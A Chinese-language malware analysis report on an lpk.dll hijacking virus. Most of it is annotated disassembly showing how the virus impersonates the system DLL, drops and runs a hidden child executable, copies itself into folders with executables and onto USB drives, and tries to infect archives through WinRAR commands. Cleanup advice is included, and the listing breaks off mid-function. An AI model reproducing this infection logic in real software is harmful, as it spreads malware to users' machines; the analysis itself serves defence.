【lpk.dll病毒/木马】分析报告

【lpk.dll病毒/木马】分析报告

一、名词解释
母体:指病毒主文件 (lpk.dll.v随包带)
子体:指由母体从资源中释放出来的exe文件.

二、概述
作者: MiTang
时间: 2012-2-25
样本来源:自己机器上已中标,就地取材.
当母体名称为lpk.dll时.利用与系统lpk.dll同名,造成含有edit控件的程序导入该库时被劫持.当程序需要系统                lpk.dll支持时,母体起到了一个中转作用.这些函数并没有挂钩.主要动作有如下2点:

母体在入口点 通过一个有名称 的互斥对像, 仅一次 释放子体并启动它.

2.母体入口点,最后做的工作: 获取系统lpk.dll如下函数填充到自己导出的同名函数中:
LpkTabbedTextOut
LpkDllInitialize
LpkDrawTextEx
LpkEditControl                        //这步有特殊处理,是一组函数,而不是单个
LpkExtTextOut
LpkGetCharacterPlacement
LpkGetTextExtentExPoint
LpkInitialize
LpkPSMTextOut
LpkUseGDIWidthCache
ftsWordBreak

当母体文件名为其它名称,被程序加载时, 也做上面的第1,2步动作.还加了一步下面这步操作.
1.母体在入口点 启动一个工作主线程工作行为,
动作1. 扫描电脑上所有可感染的逻辑磁盘,针对每一个可感染的逻辑
磁盘启动一个感染线程去感染磁盘.
条件触发: 每过两个小时,或逻辑磁盘发生变化时(如插入U盘时),重复动作1.

2感染线程行为: 枚举逻辑盘上所有文件夹.
只要发现该目录有exe存在且该目录没有母体时,就把当前母体复制过去.
只要发现该目录有zip.或rar. 利用winrar 命令行参数方式,启动rar.exe 先检查压缩包内母体是否存,如果不存在        则把母体添加到压缩包内, 但是这一点作者没做好.在把母体打包时的目标压缩包的名称,与母体创建文件夹名称        冲突,造成无法打包.唉.

整个程序下来,逻辑感觉好乱.
注:随包 idb文件是IDA6.1版本的;

三、清理方式
1、对母体提取特征码
2、枚举系统所有目录,符合特征码即删除即可.
3、注入所有进程,枚举所有模块,符合特征关闭进程,再删除.
当然在清理时,母体还在接着感染,所以要先对源头进行控制,在这里一种思路:
因为母体是利用CopyFileW 将自身复制到目标文件夹中,可以先hook所有进程这个函数,对其传入的源文件作特征        检查.符合则拒绝.否则放行. 也可以由此得到作案进程信息强制关闭即可.

分析正文

这里只列出几个核心函数分析,详情在随包idb中
入口点:
; BOOL __stdcall DLLEntry (HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved)
public dllpoint
dllpoint proc near

hLibModule= dword ptr  4
fdwReason= dword ptr  8
lpReserved= dword ptr  0Ch
arg_100020A8= dword ptr  100020ACh

cmp     [esp+fdwReason], DLL_PROCESS_ATTACH
push    esi
jnz     short ELSE_IF

IF_DLL_PROCESS_ATTACH_:                 ; DLL_PROCESS_ATTACH 第一次加载dll时
mov     esi, [esp+4+hLibModule]
push    260                         ; nSize
push    offset gszCurrentLpkPathName ; lpFilename
push    esi                         ; hModule
mov     ghModule, esi
call    ds:GetModuleFileNameW       ; 获取当前母体目录完整路径,保存在全局变量中,于后面感染别的目录,作为源
push    esi                         ; hLibModule
call    ds:DisableThreadLibraryCalls                 ; The Disable DLL_THREAD_ATTACH  DLL_THREAD_DETACH notifications
call    MyGetMutexNameTo_gszMutexName
cmp     eax, TRUE
jnz     short ISLPKDLL
call    IsMainModule_hrl_tmp                ;主模块是否是子体
test    eax, eax
jnz     short SKIP_HRL_TMP          ; 跳过子体

NOT_HRL_TMP:                         ; 主模块不是子体.
call    MyCreateMutex
test    eax, eax                    ; FALSE 表示第一次创建互体成功,TURE表示创建失败或互体已存在
jnz     short SKIP_HRL_TMP
call    ReleaseAndCreateProcess     ; 释放子体 exe并启动它,成功TURE,失败FALSE

SKIP_HRL_TMP:                           ; ...
call    Is_CurrentModule_lpk_dll
cmp     eax, TRUE                   ; 如果当前模块是lpk.dll则返回FALSE,否则返回TURE,母体可能被改名
jnz     short                                                          ; 加载系统lpk.dll并获取所有导出函数地址

CurrentModuleIsNot_lpk_dll:                        ; lpName 母体文件名不为:lpk.dll 时
push    NULL
push    FALSE                       ; bInitialState
push    eax                         ; bManualReset
push    NULL                        ; lpEventAttributes
call    ds:CreateEventW             ; 创建自动管理,初始无信号事件,作退出通知用
mov     ghDllDetachEvent, eax
test    eax, eax
jz      short ISLPKDLL              ; 加载系统lpk.dll并获取所有导出函数地址
call    Start_MainThreadProc        ; 创建主工线程并运行成功,则ghThread存放的是新线程的句柄,否则为NULL

ISLPKDLL:                               ;  lpName 母体文件名为:lpk.dll 时
call    LoadSysLpkAndGetExportFunAddr ; 加载系统lpk.dll并获取所有导出函数地址
jmp     short IF_END_
; ---------------------------------------------------------------------------

ELSE_IF:                                ; ...
cmp     [esp+4+fdwReason], DLL_PROCESS_DETACH
jnz     short ELSE

DLL_PROCESS_DETACH_:
mov     eax, ghDllDetachEvent
test    eax, eax
jz      short ghEvenetIsNULL        ; 系统lpk.dll 有加载就释放掉
push    eax                         ; hEvent
call    ds:SetEvent                 ; 置ghEvent信号状态
push    INFINITE                    ; dwMilliseconds
push    ghMainThread                ; hHandle
call    ds:WaitForSingleObject      ; 等ghMainThread线程退出,有信号就退出
push    ghMainThread                ; hObject
mov     esi, ds:CloseHandle         ; 开始释放资源
call    esi ; CloseHandle
push    ghDllDetachEvent            ; hObject
call    esi ; CloseHandle

ghEvenetIsNULL:                         ; ...
call    FreeSysLpkdll               ; 系统lpk.dll 有加载就释放掉

ELSE:                                   ; ...
xor     eax, eax
inc     eax

IF_END_:                                ; ...
pop     esi
retn    0Ch
dllpoint endp

功能: 释放子体并启动子体进程
; BOOL __cdecl ReleaseAndCreateProcess()
ReleaseAndCreateProcess proc near       ; ...

PathName= word ptr -26Ch
StartupInfo= _STARTUPINFOW ptr -64h
ProcessInformation= _PROCESS_INFORMATION ptr -20h
NumberOfBytesWritten= dword ptr -10h
lpBuffer= dword ptr -0Ch
nNumberOfBytesToWrite= dword ptr -8
bSuccess= dword ptr -4

push    ebp
mov     ebp, esp
sub     esp, 620
push    esi
push    edi
push    RT_RCDATA                  ; lpType
push    102                         ; lpName
push    ghModule                    ; hModule
xor     esi, esi
mov     [ebp+bSuccess], esi
call    ds:FindResourceW            ; 子体放在母体资源中
mov     edi, eax
cmp     edi, esi
jz      EXIT_FAIL
push    edi                         ; hResInfo
push    ghModule                    ; hModule
call    ds:SizeofResource
push    edi                         ; hResInfo
push    ghModule                    ; hModule
mov     [ebp+nNumberOfBytesToWrite], eax
call    ds:LoadResource
cmp     eax, esi
jz      EXIT_FAIL
cmp     [ebp+nNumberOfBytesToWrite], esi
jz      EXIT_FAIL
push    eax                         ; hResData
call    ds:LockResource
mov     [ebp+lpBuffer], eax         ; lpBuffer--> 子体exe数据
cmp     eax, esi
jz      EXIT_FAIL
push    ebx
lea     eax, [ebp+PathName]
push    eax                         ; lpBuffer
push    260                         ; nBufferLength
call    ds:GetTempPathW
lea     eax, [ebp+PathName]
push    eax                         ; lpTempFileName
push    esi                         ; uUnique
push    offset PrefixString         ; "hrl"
push    eax                         ; lpPathName
call    ds:GetTempFileNameW         ; 指定子体 临时文件名为hrl* *号uUnique随机数字
push    esi                         ; hTemplateFile
push    esi                         ; dwFlagsAndAttributes
push    2                           ; dwCreationDisposition
push    esi                         ; lpSecurityAttributes
xor     ebx, ebx
inc     ebx
push    ebx                         ; dwShareMode
push    40000000h                   ; dwDesiredAccess
lea     eax, [ebp+PathName]
push    eax                         ; lpFileName
call    ds:CreateFileW              ; 创建临时文件
mov     edi, eax
cmp     edi, 0FFFFFFFFh
jz      short EXIT_FAIL1
push    esi                         ; lpOverlapped
lea     eax, [ebp+NumberOfBytesWritten]
push    eax                         ; lpNumberOfBytesWritten
push    [ebp+nNumberOfBytesToWrite] ; nNumberOfBytesToWrite
mov     [ebp+NumberOfBytesWritten], esi
push    [ebp+lpBuffer]              ; lpBuffer
push    edi                         ; hFile
call    ds:WriteFile                ; 将子体写到临时文件hrl*.tmp
push    edi                         ; hObject
mov     edi, ds:CloseHandle
mov     [ebp+bSuccess], eax
call    edi ; CloseHandle
cmp     [ebp+bSuccess], ebx
jnz     short EXIT_FAIL1
push    44h
lea     eax, [ebp+StartupInfo]
push    eax
call    ds:RtlZeroMemory
xor     eax, eax
mov     [ebp+StartupInfo.wShowWindow], ax
lea     eax, [ebp+ProcessInformation]
push    eax                         ; lpProcessInformation
lea     eax, [ebp+StartupInfo]
push    eax                         ; lpStartupInfo
push    esi                         ; lpCurrentDirectory
push    esi                         ; lpEnvironment
push    esi                         ; dwCreationFlags
push    esi                         ; bInheritHandles
push    esi                         ; lpThreadAttributes
push    esi                         ; lpProcessAttributes
lea     eax, [ebp+PathName]
push    eax                         ; lpCommandLine
push    esi                         ; lpApplicationName
mov     [ebp+StartupInfo.cb], 44h
mov     [ebp+StartupInfo.dwFlags], ebx
call    ds:CreateProcessW           ; 启动子体exe进程
mov     [ebp+bSuccess], eax
cmp     eax, ebx
jnz     short EXIT_FAIL1
push    [ebp+ProcessInformation.hThread] ; hObject
call    edi ; CloseHandle
push    [ebp+ProcessInformation.hProcess] ; hObject
call    edi ; CloseHandle

EXIT_FAIL1:                             ; ...
pop     ebx

EXIT_FAIL:                              ; ...
mov     eax, [ebp+bSuccess]
pop     edi                         ; 成功返回TURE,否则返回FALSE
pop     esi
leave
retn
ReleaseAndCreateProcess endp

功能: 动作1:扫描电脑上所有可感染的逻辑磁盘,针对每一个可感染的逻辑磁盘启动一个感染线程去感染磁盘.
条件触发: 每过两个小时,或逻辑磁盘发生变化时(如插入U盘时),重复动作1.
; DWORD __stdcall MainThreadProc(LPVOID)
MainThreadProc proc near                ; ...

nDriverCount= dword ptr -0C4h
hThreadArray= dword ptr -0C0h
lpBuff= byte ptr -60h

sub     esp, 0C4h
push    ebx
push    ebp
push    esi
push    edi                         ; 以上保存环境
push    60h
lea     eax, [esp+0D8h+lpBuff]
push    eax
xor     edi, edi                    ; EDI = 0 存放线程ThreadProc1句柄数组下标
call    ds:RtlZeroMemory            ; RtlZeroMemory(lpBuff,0x60)

WHILE_BEGIN:                            ; ...
push    2
pop     ebx                         ; ebx = 2开始,检测目标所有存储器是否可感染
lea     ebp, [esp+0D4h+lpBuff]              ; ebp->lpBuff
mov     [esp+0D4h+nDriverCount], 24

FOR1_BEGING:                            ; ...
cmp     dword ptr [ebp+0], 1
jz      short FOR1_STEP             ; 下一个磁盘标号
push    ebx                         ; iDrive
call    ds:DriveType                ; 读取存储器类型
add     eax, 0FFFFFFFEh
cmp     eax, 2                      ; 是否可感染
ja      short FOR1_STEP             ; 不可感染则下一个磁盘
xor     eax, eax
push    eax                         ; lpThreadId
push    4                           ; dwCreationFlags
push    ebx                         ; lpParameter
push    offset InfectThreadProc                     ; lpStartAddress 感染线程
push    eax                         ; dwStackSize
push    eax                         ; lpThreadAttributes
call    ds:CreateThread                                ;针对本磁盘启动感染线程
lea     esi, [esp+edi*4+0D4h+hThreadArray] ; 保存线程句柄到数组中
mov     [esi], eax
test    eax, eax
jz      short FOR1_STEP             ; 下一个磁盘标号
push    THREAD_PRIORITY_IDLE        ; nPriority
push    eax                         ; hThread
call    ds:SetThreadPriority
cmp     eax, 1
jnz     short FAIL
push    dword ptr [esi]             ; hThread
call    ds:ResumeThread
cmp     eax, 0FFFFFFFFh
jz      short FAIL                  ; 线程句柄数组下标++
inc     edi
mov     dword ptr [ebp+0], TRUE     ; 操作成功
jmp     short FOR1_STEP             ; 下一个磁盘标号
; ---------------------------------------------------------------------------

FAIL:                                   ; ...
push    0                           ; dwExitCode
push    dword ptr [esi]             ; hThread
call    ds:TerminateThread

FOR1_STEP:                              ; ...
inc     ebx                         ; 下一个磁盘标号
add     ebp, 4
dec     [esp+0D4h+nDriverCount]
jnz     short FOR1_BEGING
xor     esi, esi
cmp     edi, esi                    ; edi 成功启动感染线程数,如果为0再尝试一次
jz      short WHILE_CMP
push    esi                         ; dwMilliseconds
push    TRUE                        ; bWaitAll
lea     eax, [esp+0DCh+hThreadArray]
push    eax                         ; lpHandles
push    edi                         ; nCount
call    ds:WaitForMultipleObjects   ; WaitForMultipleObjects(nCount, hThreadArray, TRUE, 0)
cmp     eax, WAIT_TIMEOUT
jz      short WHILE_CMP             ; 所有感染线程是否执行完毕,如果是就释放所有句柄,否则不管了.
push    60h
lea     eax, [esp+0D8h+lpBuff]
push    eax
call    ds:RtlZeroMemory
test    edi, edi
jbe     short WHILE1_END            ; 如果感染线程大于0,并完全退出,则关闭所有线程句柄

WHILE1_BEGING:                          ; ...
push    [esp+esi*4+0D4h+hThreadArray] ; hObject
call    ds:CloseHandle
inc     esi
cmp     esi, edi
jb      short WHILE1_BEGING

WHILE1_END:                             ; ...
xor     edi, edi

WHILE_CMP:                              ; ...
call    IsContinueInfection
cmp     eax, TRUE                   ; 如果主程序运行两小时之多,就是没有dll_detach信号退出或逻辑磁盘发生变化时返回真,继教重新感染
jz      WHILE_BEGIN
test    edi, edi
jz      short EXIT                  ; 最后一次感染线程数不为0
push    INFINITE                    ; dwMilliseconds
push    1                           ; bWaitAll
lea     eax, [esp+0DCh+hThreadArray]
push    eax                         ; lpHandles
push    edi                         ; nCount
call    ds:WaitForMultipleObjects   ;  WaitForMultipleObjects(nCount, hThreadArray, TRUE,  INFINITE)
xor     esi, esi                    ; 等待所有感染线程退出
test    edi, edi
jbe     short EXIT

loc_100019CC:                           ; ...
push    [esp+esi*4+0D4h+hThreadArray] ; hObject
call    ds:CloseHandle
inc     esi
cmp     esi, edi
jb      short loc_100019CC          ; 释放所有线程句柄

EXIT:                                   ; ...
pop     edi
pop     esi
pop     ebp
pop     ebx
add     esp, 0C4h
retn
MainThreadProc endp

功能:枚举逻辑盘上所有文件夹.
只要发现该目录有exe存在且该目录没有母体时,就把当前母体复制过去.
只要发现该目录有zip.或rar. 利用winrar 命令行参数方式,启动rar.exe 先检查压缩包内母体是否存,如果不存在        则把母体添加到压缩包内, 但是这一点作者没做好.在把母体打包时的目标压缩包的名称,与母体创建文件夹名称冲突
InfectThreadProc proc near              ; ...

FindFileData= _WIN32_FIND_DATAW ptr -668h
lpszDestDriverPath= word ptr -418h
lpszDestFilePathName= word ptr -210h
hFindFile= dword ptr -8
var_4= dword ptr -4
lpArg= dword ptr  8

push    ebp
mov     ebp, esp
sub     esp, 1640
push    ebx
push    0                           ; dwMilliseconds
push    ghDllDetachEvent            ; hHandle
xor     ebx, ebx
inc     ebx
mov     [ebp+var_4], ebx
call    ds:WaitForSingleObject
cmp     eax, WAIT_TIMEOUT
jz      short WORK                  ; DLL_DETACH 直接退出,否则做些事情
xor     eax, eax
jmp     EXIT
; ---------------------------------------------------------------------------

WORK:                                   ; ...
push    esi
mov     esi, ds:lstrcpyW
push    edi
mov     edi, [ebp+lpArg]
lea     eax, [ebp+lpszDestDriverPath]
cmp     edi, 100h                   ; lpArg小于100h就是盘符id,大于则是文件名完整路径指针
jnb     short ARGISFILENAMEPATH
push    offset gszA                 ; "A:\\"
push    eax                         ; lpString1
call    esi ; lstrcpyW
add     [ebp+lpszDestDriverPath], di ; 以A盘为盘符基址,加上盘符ID,得到目标盘符路径
jmp     short loc_100016D1
; ---------------------------------------------------------------------------

ARGISFILENAMEPATH:                      ; ...
push    edi                         ; lpString2
push    eax                         ; lpString1
call    esi ; lstrcpyW              ; lpszDestDriverPath = lpArg

loc_100016D1:                           ; ...
lea     eax, [ebp+lpszDestDriverPath]
push    eax                         ; lpString2
lea     eax, [ebp+lpszDestFilePathName]
push    eax                         ; lpString1
call    esi ; lstrcpyW
mov     edi, ds:PathAppendW
push    offset gszAll               ; pMore
lea     eax, [ebp+lpszDestDriverPath]
push    eax                         ; pszPath
call    edi ; PathAppendW           ; lpszDestDriverPath 填加通配符 如: C:\*
lea     eax, [ebp+FindFileData]
push    eax                         ; lpFindFileData
lea     eax, [ebp+lpszDestDriverPath]
push    eax                         ; lpFileName
call    ds:FindFirstFileW
mov     [ebp+hFindFile], eax        ; 返回一个搜索句柄
cmp     eax, -1
jnz     short FIND_SUCCESS          ; 查找失败,直退退出
mov     eax, ebx
jmp     EXIT1
; ---------------------------------------------------------------------------

FIND_SUCCESS:                           ; ...
lea     eax, [ebp+lpszDestFilePathName]
push    eax                         ; lpString2
lea     eax, [ebp+lpszDestDriverPath]
push    eax                         ; lpString1
call    esi ; lstrcpyW
mov     ebx, ds:lstrcmpiW           ; lpszDestDriverPath = lpszDestFilePathNam

WHILE_BEGING_FINDNEXTFILE:              ; ...
push    offset gszPoint             ; "."
lea     eax, [ebp+FindFileData.cFileName]
push    eax                         ; lpString1
call    ebx ; lstrcmpiW             ; 比较文件名是否是  .  特殊文件
test    eax, eax
jz      WHILE_CMP_FINDNEXTFILE
push    offset a__                  ; ".."
lea     eax, [ebp+FindFileData.cFileName]
push    eax                         ; lpString1
call    ebx ; lstrcmpiW             ; 比较文件名是否是  ..  特殊文件
test    eax, eax
jz      WHILE_CMP_FINDNEXTFILE
test    byte ptr [ebp+FindFileData.dwFileAttributes], FILE_ATTRIBUTE_DIRECTORY
jz      short THISISFILE            ; 判断是否目录

DIRECTORY:                              ; dwMilliseconds
push    20
push    ghDllDetachEvent            ; hHandle
call    ds:WaitForSingleObject
cmp     eax, WAIT_TIMEOUT
jnz     short DLL_DETACH_SIGNAL     ; 接到程序关闭通知
lea     eax, [ebp+lpszDestDriverPath]
push    eax                         ; lpString2
lea     eax, [ebp+lpszDestFilePathName]
push    eax                         ; lpString1
call    esi ; lstrcpyW
lea     eax, [ebp+FindFileData.cFileName]
push    eax                         ; pMore
lea     eax, [ebp+lpszDestFilePathName]
push    eax                         ; pszPath
call    edi ; PathAppendW
lea     eax, [ebp+lpszDestFilePathName]
push    eax                         ; LPVOID
call    InfectThreadProc            ; 目录递归操作
test    eax, eax
jnz     WHILE_CMP_FINDNEXTFILE

DLL_DETACH_SIGNAL:                      ; ...
and     [ebp+var_4], 0

EXIT_FREE:                              ; ...
push    [ebp+hFindFile]             ; hFindFile
call    ds:FindClose
mov     eax, [ebp+var_4]

EXIT1:                                  ; ...
pop     edi
pop     esi

EXIT:                                   ; ...
pop     ebx
leave
retn    4
; ---------------------------------------------------------------------------

THISISFILE:                             ; ...
lea     eax, [ebp+FindFileData.cFileName]
push    eax                         ; pszPath
call    ds:PathFindExtensionW
mov     [ebp+lpArg], eax            ; 保存文件名的扩展名 如 .rar
test    eax, eax
jz      WHILE_CMP_DLLDETACH_SIGNAL
push    offset gszExe               ; ".EXE"
push    eax                         ; lpString1
call    ebx ; lstrcmpiW             ; 是否是exe文件
test    eax, eax
jnz     short ELSE_IF

FILE_IS_EXE:                            ; 在当前exe目录,放一个lpk.dll
lea     eax, [ebp+lpszDestDriverPath]
push    eax                         ; lpString2
lea     eax, [ebp+lpszDestFilePathName]
push    eax                         ; lpString1
call    esi ; lstrcpyW
push    offset gszLpk_dll           ; "lpk.dll"
lea     eax, [ebp+lpszDestFilePathName]
push    eax                         ; pszPath
call    edi ; PathAppendW           ; lpszDestFilePathName = 如 c:\11\lpk.dll
lea     eax, [ebp+lpszDestFilePathName]
push    eax                         ; lpFileName
call    ds:GetFileAttributesW
cmp     eax, INVALID_FILE_ATTRIBUTES
jnz     WHILE_CMP_FINDNEXTFILE      ; 已存在lpk.dll跳过
push    1                           ; bFailIfExists
lea     eax, [ebp+lpszDestFilePathName]
push    eax                         ; lpNewFileName
push    offset gszCurrentLpkPathName ; lpExistingFileName
call    ds:CopyFileW                ; 从把当lpk.dll复制到目标文件夹中,只是有可能感染目标文件夹中的exe
push    FILE_ATTRIBUTE_READONLY or FILE_ATTRIBUTE_HIDDEN or FILE_ATTRIBUTE_SYSTEM ; dwFileAttributes
lea     eax, [ebp+lpszDestFilePathName]
push    eax                         ; lpFileName
call    ds:SetFileAttributesW       ; 并把目标lpk.dll为隐藏系统等属性

ELSE_IF:                                ; ...
push    offset gszRar               ; ".RAR"
push    [ebp+lpArg]                 ; lpString1
call    ebx ; lstrcmpiW
test    eax, eax
jz      short FILE_IS_RAR_OR_ZIP
push    offset gszZip               ; ".ZIP"
push    [ebp+lpArg]                 ; lpString1
call    ebx ; lstrcmpiW
test    eax, eax
jnz     short WHILE_CMP_DLLDETACH_SIGNAL

FILE_IS_RAR_OR_ZIP:                     ; ...
cmp     [ebp+FindFileData.nFileSizeHigh], 0
jnz     short WHILE_CMP_DLLDETACH_SIGNAL
cmp     [ebp+FindFileData.nFileSizeLow], 52428800
jnb     short WHILE_CMP_DLLDETACH_SIGNAL ; 只要目标 .rar 或 .zip 超过413M 则跳走
lea     eax, [ebp+lpszDestDriverPath]
push    eax                         ; lpString2
lea     eax, [ebp+lpszDestFilePathName]
push    eax                         ; lpString1
call    esi ; lstrcpyW
lea     eax, [ebp+FindFileData.cFileName]
push    eax                         ; pMore
lea     eax, [ebp+lpszDestFilePathName]
push    eax                         ; pszPath
call    edi ; PathAppendW
lea     eax, [ebp+lpszDestFilePathName]
push    eax                         ; lpFilePathName
call    AddLpkDllToZipRar                                ;将母体添加到压缩包,但作者一些错误导致白忙会
pop     ecx

WHILE_CMP_DLLDETACH_SIGNAL:             ; ...
push    20                          ; dwMilliseconds
push    ghDllDetachEvent            ; hHandle
call    ds:WaitForSingleObject
cmp     eax, WAIT_TIMEOUT
jnz     DLL_DETACH_SIGNAL

WHILE_CMP_FINDNEXTFILE:                 ; ...
lea     eax, [ebp+FindFileData]
push    eax                         ; lpFindFileData
push    [ebp+hFindFile]             ; hFindFile
call    ds:FindNextFileW
cmp     eax, 1                      ; 比较有问题,FindNextFile成功返回是非0,不一定是1
jz      WHILE_BEGING_FINDNEXTFILE
jmp     EXIT_FREE
InfectThreadProc endp

功能:利用winrar 命令行参数方式,启动rar.exe 先检查压缩包内母体是否存,如果不存在        则把母体添加到压缩包内, 但是这一点作者没做好.在把母体打包时的目标压缩包的名称,与母体创建文件夹名称冲突,造成无法打包.唉.
AddLpkDllToZipRar proc near             ; ...
CommandLine= word ptr -824h
PathName= word ptr -414h
FileName= word ptr -20Ch
String2= word ptr -20Ah
var_4= dword ptr -4
lpFilePathName= dword ptr  8

push    ebp
mov     ebp, esp
sub     esp, 824h
lea     eax, [ebp+var_4]
push    eax
lea     eax, [ebp+FileName]
push    eax
push    0
push    2
push    0
push    offset aWinrarShellOpe      ; "WinRAR\\shell\\open\\command"
push    80000000h
mov     [ebp+var_4], 208h
call    ds:SHRegGetValueW           ; 获取winrar rar.exe 路径
test    eax, eax
jnz     EXIT                        ; 没有安装winrar则直接退出
cmp     [ebp+FileName], '"'
setnz   al
test    eax, eax
jnz     loc_100015FC
lea     eax, [ebp+String2]
push    eax                         ; lpString2
lea     eax, [ebp+FileName]
push    eax                         ; lpString1
call    ds:lstrcpyW
mov     eax, offset Srch            ; "\""

loc_10001490:                           ; ...
push    eax                         ; lpSrch
lea     eax, [ebp+FileName]
push    eax                         ; lpFirst
call    ds:StrStrIW
test    eax, eax
jz      EXIT
xor     ecx, ecx
mov     [eax], cx
lea     eax, [ebp+FileName]
push    eax                         ; pszPath
call    ds:PathRemoveFileSpecW
push    offset pMore                ; "rar.exe"
lea     eax, [ebp+FileName]
push    eax                         ; pszPath
call    ds:PathAppendW
lea     eax, [ebp+FileName]
push    eax                         ; lpFileName
call    ds:GetFileAttributesW
cmp     eax, INVALID_FILE_ATTRIBUTES
jz      EXIT
push    esi
push    edi
lea     eax, [ebp+FileName]
push    eax                         ; pszLongPath
call    ds:PathGetShortPath         ; 得到 rar.exe 绝对路径
lea     eax, [ebp+PathName]
push    eax                         ; lpBuffer
push    104h                        ; nBufferLength
call    ds:GetTempPathW             ; 获取临时路径
lea     eax, [ebp+PathName]
push    eax                         ; lpTempFileName
call    ds:GetCurrentThreadId       ; 线程id
push    eax                         ; uUnique
push    offset aIrar                ; "IRAR"
lea     eax, [ebp+PathName]
push    eax                         ; lpPathName
call    ds:GetTempFileNameW         ; 获取临时文件夹路径
mov     esi, ds:wsprintfW
lea     eax, [ebp+PathName]
push    eax
push    [ebp+lpFilePathName]
lea     eax, [ebp+FileName]
push    eax
lea     eax, [ebp+CommandLine]
push    offset aCmdCSVbSLpk_dl      ; "cmd /c %s vb \"%s\" lpk.dll|find /i \"lpk."...
push    eax                         ; LPWSTR
call    esi ; wsprintfW             ; 拼接winrar 执行参数如:..
;  // cmd /c C:\PROGRA~1\WinRAR\rar.exe vb "D:\a.zip" lpk.dll|find /i "lpk.dll"
;  //完成功能:查找目标winrar  D:\a.zip 中是否存在lpk.dll
mov     edi, 0EA60h
lea     eax, [ebp+CommandLine]
push    edi                         ; dwMilliseconds
push    eax                         ; lpCommandLine
call    ExcuteCmd                   ; 执行上面命令
add     esp, 1Ch
test    eax, eax
jz      EXIT_OPERATOR_FAIL
lea     eax, [ebp+PathName]
push    eax
push    [ebp+lpFilePathName]
lea     eax, [ebp+FileName]
push    eax
lea     eax, [ebp+CommandLine]
push    offset aSXS_exeS            ; "\"%s\" x \"%s\" *.exe \"%s\\\""
push    eax                         ; LPWSTR
call    esi ; wsprintfW
lea     eax, [ebp+CommandLine]
push    1D4C0h                      ; dwMilliseconds
push    eax                         ; lpCommandLine
call    ExcuteCmd                   ; //拼接命令,如:
; //C:\PROGRA~1\WinRAR\rar.exe x D:\a.zip *.exe C:\Temp\IRA478.tmp\
; //完成功能: 解压源文件a.zip 所有exe  解压到C:\Temp\IRA478.tmp\
add     esp, 1Ch
lea     eax, [ebp+PathName]
push    eax                         ; LPVOID
call    InfectThreadProc            ; 解压之后,把这个目录C:\Temp\IRA478.tmp\ 传给感染线程函数再次去感染
lea     eax, [ebp+PathName]
push    eax
push    [ebp+lpFilePathName]
push    eax
lea     eax, [ebp+FileName]
push    eax
lea     eax, [ebp+CommandLine]
push    offset aSAREp1SSSLpk_d      ; "\"%s\" a -r -ep1\"%s\" \"%s\" \"%s\\lpk.dll\""
push    eax                         ; LPWSTR
call    esi ; wsprintfW
lea     eax, [ebp+CommandLine]
push    3A980h                      ; dwMilliseconds
push    eax                         ; lpCommandLine
call    ExcuteCmd                   ; //C:\PROGRA~1\WinRAR\rar.exe a -r -ep1 C:\Temp\IRA478.tmp D:\a.zip C:\Temp\IRAF60.tmp\lpk.dll
; //经过多次测试,这条语句不仅winrar语法上有误(这点可能跟版本有关),还有一点要压缩的文件名,跟上面
; //的解压时文件夹名称冲突,造成系统拒绝访问
; //过不了系统检查这关,猜测作者是想,把目标的rar文件中的所有exe解压出来,附上lpk.dll再打包回去,
; //唉,太麻烦了.直接往目标压缩包中添加一个lpk.dll不就行了啊
lea     eax, [ebp+PathName]
push    eax
lea     eax, [ebp+CommandLine]
push    offset aCmdCRdSQS           ; "cmd /c RD /s /q \"%s\""
push    eax                         ; LPWSTR
call    esi ; wsprintfW
lea     eax, [ebp+CommandLine]
push    edi                         ; dwMilliseconds
push    eax                         ; lpCommandLine
call    ExcuteCmd                   ; //cmd /c RD /s /q "C:\Temp\IRA478.tmp"
; //完成功能:cmd 命令 删除指定目录 ,结合上面功能,这一圈下来啥也没做啊.假如他winrar语法正确,
; //再假如他没有文件名上的冲突,目标d:\a.zip也没有影响啊. 这段函数,花费了我分析整 个lpk 1/4的时间
; //结果一场空啊,函数没有做到有意义的事情.瞎忙会.
add     esp, 34h

EXIT_OPERATOR_FAIL:                     ; ...
pop     edi
pop     esi

EXIT:                                   ; ...
leave
retn
; ---------------------------------------------------------------------------

loc_100015FC:                           ; ...
mov     eax, offset asc_100021E8    ; " "
jmp     loc_10001490
AddLpkDllToZipRar endp

LoadSysLpkAndGetExportFunAddr proc near ; ... 加载系统lpk.dll并获取系统lpk导出函数地址
LibFileName= word ptr -208h

push    ebp
mov     ebp, esp
sub     esp, 208h
push    104h                        ; uSize
lea     eax, [ebp+LibFileName]
push    eax                         ; lpBuffer
call    ds:GetSystemDirectoryW
push    offset String2              ; "\\lpk"
lea     eax, [ebp+LibFileName]
push    eax                         ; lpString1
call    ds:lstrcatW
lea     eax, [ebp+LibFileName]
push    eax                         ; lpLibFileName
call    ds:LoadLibraryW
mov     ghSyslpk, eax
test    eax, eax
jz      short FAIL
call    GetSysLpkAddrAndFillMeExportTable ; 获取系统lpk导出函数地址,填充到自己导出函数,起中转作用

FAIL:                                   ; ...
xor     eax, eax
cmp     ghSyslpk, eax
setnz   al                          ; 成功返回TURE,否则FALSE
leave
retn
LoadSysLpkAndGetExportFunAddr endp

GetSysLpkAddrAndFillMeExportTable proc near ; ...
push    offset gszLpkTabbedTextOut  ; "LpkTabbedTextOut"
call    MyGetProcessAddr
push    offset gszLpkDllInitialize  ; "LpkDllInitialize"
mov     lpLpkTabbedTextOut, eax
call    MyGetProcessAddr
push    offset gszLpkDrawTextEx     ; "LpkDrawTextEx"
mov     lpLpkDllInitialize, eax
call    MyGetProcessAddr
push    40h
push    offset gszLpkEditControl    ; "LpkEditControl"函数 特殊处理
mov     lpLpkDrawTextEx, eax
call    MyGetProcessAddr
push    eax
push    offset lpLpkEditControl
call    ds:RtlMoveMemory            ; LpkEditControl这个数组有14个成员,必须将其复制过来
push    offset gszLpkExtTextOut     ; "LpkExtTextOut"
call    MyGetProcessAddr
push    offset gszLpkGetCharacterPlacement ; "LpkGetCharacterPlacement"
mov     lpLpkExtTextOut, eax
call    MyGetProcessAddr
push    offset gszLpkGetTextExtentExPoint ; "LpkGetTextExtentExPoint"
mov     lpLpkGetCharacterPlacement, eax
call    MyGetProcessAddr
push    offset gszLpkInitialize     ; "LpkInitialize"
mov     lpLpkGetTextExtentExPoint, eax
call    MyGetProcessAddr
push    offset gszLpkPSMTextOut     ; "LpkPSMTextOut"
mov     lpLpkInitialize, eax
call    MyGetProcessAddr
push    offset gszLpkUseGDIWidthCache ; "LpkUseGDIWidthCache"
mov     lpLpkPSMTextOut, eax
call    MyGetProcessAddr
push    offset gszftsWordBreak      ; "ftsWordBreak"
mov     lpLpkUseGDIWidthCache, eax
call    MyGetProcessAddr
